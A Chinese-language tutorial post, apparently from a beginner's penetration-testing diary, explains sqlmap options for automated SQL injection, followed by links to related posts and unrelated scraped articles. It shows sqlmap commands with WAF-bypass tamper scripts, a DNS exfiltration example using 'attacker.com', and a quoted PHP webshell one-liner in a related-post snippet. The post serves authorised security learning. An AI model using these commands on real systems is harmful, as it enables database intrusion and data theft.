小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint
sqlmap自动注入
Optimization
【优化性能参数,可提高效率】
-o:指定前三个参数(--predict-output、--keep-alive、--null-connection)
--predict-output:
根据检测方法,比岁返回值和统计表内容,不断缩小检测范围,提高检测效率
可检测的返回值:版本名、用户名、密码、Privaleges、role、数据库名称、表名、列名
与--threads参数不兼容
统计表:/usr/share/sqlmap/txt/common-outputs.txt
--keep-alive:【可避免出现异常连接很大的情况,而触发报警】
使用http(s)长连接,性能好
与--proxy参数不兼容
长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
--null-connection:
只获取相应页面的大小值,而非页面具体内容
通常用于盲注判断 真/假,降低网络带宽消耗
与--text-only参数不兼容(基于页面内容的比较判断 真/假)
--threads:【默认情况下为1】
最大并发线程
盲注是每个线程获取一个字符(7次请求<--低位ASCII码),获取完成后线程结束
默认值为1,建议不要超过10,否则可能影响站点可用性
与--predict-output参数不兼容
Injection
-p:
指定扫描的参数,除了该参数,不探测其他参数,使--level失效
-p "User-Agent,referer" #指定此两个参数
--skip:
排除指定的扫描参数
--level=5 --skip="id,user-agent"
URI注入点:【若URL地址中变量的名称和值,都通过URL表示(看起来像目录),需要手动在变量后加一个星号作为标志】(URI与URL)
sqlmap -u "http://targeturl/value1*/param2/value2/"
##############################################################################
#伪静态页面,URL重写,实际上只是看起来像是一个静态页面【如何识别伪静态页面】
##############################################################################
--dbms: 【指定扫描服务器的数据库类型】
--ddbms="mysql"
--os:
Linux/Windows
--invalid-bignum / --invalid-logical
通常sqlmap使用负数使参数取值失效,即id=13->id=13
bignum使用大数使参数值失效 id==99999999999
Logical使用布尔判断使取值失效 id=13 AND 18=19
--no-cast
榨取数据时,sqlmap将所有结果转换为字符串,并用空格代替NULL结果
在老版本mysql数据库需要开启此开关
--no-escape【sqlmap默认下几乎没有通过编码逃逸的配置】
出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
###SELECT 'foo' --》SELECT CHAR(102)+CHAR(111)+CHAR(111)
本参数关闭此功能
--prefix / --suffix 【前缀/后缀】
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
##如:sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id
--prefix "’)" --suffix "AND (’abc’=’abc“
query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND
(’abc’=’abc’) LIMIT 0, 1";
--tamper 【前提:发现扫描被过滤】
指定混淆脚本,同于绕过应用层过滤、IPS、WAF
sqlmap -u "http://dadad" --
#脚本位置:/usr/share.sqlmap/tamper 【可使用dpkg -L sqlmap | grep tam 筛选】
sqlmap -u "http://URL" --tamper="tamper/between.py.tamper/randomcase.py.tamper/space2comment.py" -v 3 #【-v:显示详细信息】
Detection【检测】
--level
1-5级 (默认1)
/usr/share/sqlmap/xml/payloads
--risk
1-4 (默认1/无害)
Risk升高可造成数据被篡改等风险 (update)
--string,--not-string,--regexp,--code,--text-only,--titles 【指定根据返回的类型作为注入判断依据】
页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面岁时间刻度变化,此时需要认为指定标识真假的字符串
Techniques 【检测SQL注入存在的技术类型】
默认使用全部技术
B:Boolean-based blind
E:Error-based
U:Union query-based
S:Stacked queries (文件系统、操作系统、注册表时,必须使用)
T:Time-based Blind
--time-sec
基于时间的注入检测响应延迟时间(默认5秒)
--union-cols
默认联合查询1-10列,随--level增加最多支持50列
--union-clos 6-9
--union-char
联合查询默认使用NULL,极端情况下NULL可能失效,此时可手动指定数值
--union-char 123 【需事先对web application进行分析】
--dns-domain
场景:攻击者控制了某DNS服务器,使用此功能可以提高数据榨取速率
--dns-domain attacker.com
--second-order
在一个页面注入的结果,从另一个页面体现出来
--second-order http://1.1.1.1/b.php
Fingerprint【指纹信息】
-f,--fingerprint,-b,---banner
数据库管理系统指纹信息
DBMS,操作系统,架构,补丁
小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint的更多相关文章
- 小白日记46:kali渗透测试之Web渗透-SqlMap自动注入(四)-sqlmap参数详解- Enumeration,Brute force,UDF injection,File system,OS,Windows Registry,General,Miscellaneous
sqlmap自动注入 Enumeration[数据枚举] --privileges -U username[CU 当前账号] -D dvwa -T users -C user --columns [ ...
- 小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST
Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--d ...
- 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET
SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...
- 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...
- 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...
- 小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)
扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其 ...
- 小白日记47:kali渗透测试之Web渗透-XSS(一)
XSS [推荐书籍:XSS跨站脚本攻击剖析与防御] xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/ ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
- 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)
补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...
随机推荐
- JavaScript 链式结构序列化详解
一.概述 在JavaScript中,链式模式代码,太多太多,如下: if_else: if(...){ //TODO }else if(...){ //TODO }else{ //TODO } swi ...
- Python下调用Linux的Shell命令
有时候难免需要直接调用Shell命令来完成一些比较简单的操作,比如mount一个文件系统之类的.那么我们使用Python如何调用Linux的Shell命令?下面来介绍几种常用的方法: 1. os 模块 ...
- java使用jdbc对sqlite 添加、删除、修改的操作
package com.jb.jubmis.Dao.DaoImpl; import java.io.File;import java.io.FileInputStream;import java.io ...
- window.print打印指定div
window.print可以打印网页,但有时候我们只希望打印特定控件或内容,怎么办呢? 首先我们可以把要打印的内容放在div中,然后用下面的代码进行打印. <html> <head& ...
- log4.net
1 简介 1.1Log4net的优点: 几乎所有的大型应用都会有自己的用于跟踪调试的API.因为一旦程序被部署以后,就不太可能再利用专门的调试工具了.然而一个管理员可能需要有一套强大的日志系统 ...
- 1.单一职责原则(Single Responsibility Principle)
1.定义 就一个类而言,应该仅有一个引起它变化的原因. 2.定义解读 这是六大原则中最简单的一种,通俗点说,就是不存在多个原因使得一个类发生变化,也就是一个类只负责一种职责的工作. 3.优点 类的复杂 ...
- 解析Ceph: Snapshot
经常有开发者在邮件列表中会问到Ceph Snapshot的实现方式,受限于目前有限的实现文档和复杂的代码结构和代码量,弄清楚Ceph Snapshot并不是一件容易的事.正好最近在重构Ceph存储引擎 ...
- 设置文字在div中垂直居中,使用line-height
(从已经死了一次又一次终于挂掉的百度空间人工抢救出来的,发表日期2014-02-19) line-height 行间距 详细使用方法:http://www.w3school.com.cn/css/pr ...
- iOS开发-基本的网络知识
一.HTTP协议的主要特点:(摘自 仰望星空 的博客)重点内容 1. CS模式 2. 简单快速:只需要传送请求方法和路径.(常用方法有GET,HEAD,POST) 3. 灵活:任意对象都可以,类型由C ...
- 浅谈Oracle函数返回Table集合
在调用Oracle函数时为了让PL/SQL 函数返回数据的多个行,必须通过返回一个 REF CURSOR 或一个数据集合来完成.REF CURSOR 的这种情况局限于可以从查询中选择的数据,而整个集合 ...